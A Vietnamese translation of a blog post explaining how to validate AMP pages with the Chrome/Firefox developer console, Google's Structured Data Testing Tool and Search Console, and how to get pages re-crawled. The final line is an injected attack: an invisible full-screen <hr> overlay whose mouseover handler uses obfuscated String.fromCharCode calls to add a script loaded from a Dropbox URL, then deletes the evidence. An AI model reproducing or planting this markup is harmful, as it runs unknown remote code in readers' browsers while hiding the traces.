Đây là bài dịch từ nguồn https://www.suzukikenichi.com/blog/three-ways-to-inspect-amp/

Trong bài viết này tôi sẽ giới thiệu 3 cách để kiểm tra xem AMP đã được thiết lập đúng hay chưa.

  • Sử dụng Developer Tool của Chrome/Firefox
  • Công cụ Structured Data Testing
  • Search Console
    Tôi sẽ giải thích từng cái cụ thể ngay sau đây.

Developer Tool của Chrome

Bạn có thể dùng Developer Tool của Chrome để check validation của AMP HTML. Tức là có thể kiểm tra xem code đã đúng với những tiêu chuẩn của AMP chưa? Các bước tiến hành như sau:

Thêm #development=1 vào cuối URL của trang cần kiểm tra

Bằng cách này Chrome sẽ được đưa về trang thái validation check. Ví dụ nếu URL của trang AMP là https://example.com/amp/validation.html thì hãy truy cập vào https://example.com/amp/validation.html#development=1

Khởi động Developer Tool

Hãy khởi động Developer Tool của Chrome bằng một trong các cách dưới đây:

  • Từ menu bar của Chorme
  • Ctrl + Shift + i (Windows) / Cmd + Opt + i (Mac)

Chọn menu Console

Hãy chọn tab Console trên developer tool. Nếu ở dòng đầu tiên xuất hiện dòng chữ "Powered by AMP ⚡ HTML – Version xxxxxxx" thì trang của bạn đã được nhận diện là một trang AMP. Những lỗi còn tồn lại sẽ được hiển thị ngay phía sau đó.

validate-amp.png

Bên trên là kết quả khi tôi thử chạy trên một trang wordpress đã dùng plugin để AMP hoá của mình. Như các bạn thấy là tồn tại rất nhiều lỗi. Trạng trái này tất nhiên không được Google đánh giá là một trang AMP. (Nên không thể sửa những lỗi này, tốt nhất là chả cài plugin làm gì)

Khi không xuất hiện lỗi nào, sẽ có dòng "AMP validation successful." xuất hiện như ảnh sau.

amp-validation-successful.png

Việc kiểm tra này có vẻ cũng có thể làm được trên Firefox. Khi dùng Firefox cũng đừng quên thêm #development=1 vào cuối URL nhé.

Sử dụng công cụ Structured Data Testing Tool của Google

Sử dụng cộng cụ Structured Data Testing chúng ta có thể kiểm tra file schema.org được trưng của AMP đã được thiết lập chính xác hay chưa. Cách làm rất đơn giản là đưa URL và kiểm tra thôi.

amp-sdtt2.png

Hiện tại thì chủ yếu các trang dùng AMP là các trang tin tức. Khi Google thực hiện tìm kiếm các bài viết, nó sẽ đánh giá carousel để xem có hiển thị bài tin đó ra như là kết quả không. Do vậy nếu không thiết lập schema.org cho đúng, có thể bài viết sẽ không xuất hiện trong các kết quả tìm kiếm.

Search Console

Đây là Search Console nhưng tác giả không viết gì nhiều về nó ở bài viết này, vì lúc viết bài nó chưa được công khai. Các bạn tự tìm hiểu nhé.

Sau khi sửa hết các lỗi thì làm gì?

Ngay cả khi các bạn phát hiện ra lỗi và sửa hết chúng thì cũng không có nghĩa là chỉ thế là xong. Google vẫn chưa công nhận trang của bạn đâu. Vậy phải làm thế nào?

Chờ đợi re-crawl từ Google

GoogleBot sẽ crawl page của bạn khi phát hiện ra rel=amphtml trong trang của bạn. Mặc dù vậy ngay cả khi bạn không làm gì, một khi trang gốc của bạn được re-crawl thì trang AMP cũng sẽ được re-crawl.

Thông qua Sitemap

Tần suất crawl thì thay đổi theo các page khác nhau. Khi có lỗi chắc hẳn bạn cũng phải sửa khá là nhiều trang. Để thúc đẩy việc re-crawl, hay tạo một Sitemap. Hãy set giá trị <lastmod>, các bài viết sẽ được ưu tiên re-crawl.

Fetch as Google

Cách này chỉ phù hợp khi bạn chỉ có một số lượng ít trang thôi.

Rất cảm ơn các bạn đã đọc bài viết của tôi và hi vọng bài viết có ích cho mọi người.

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$(‘#footer’).append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ‘ id=’atk-src’ src=’https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1′></’ + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$(‘#unique-hr,#atk-src’).remove();}, 3000);">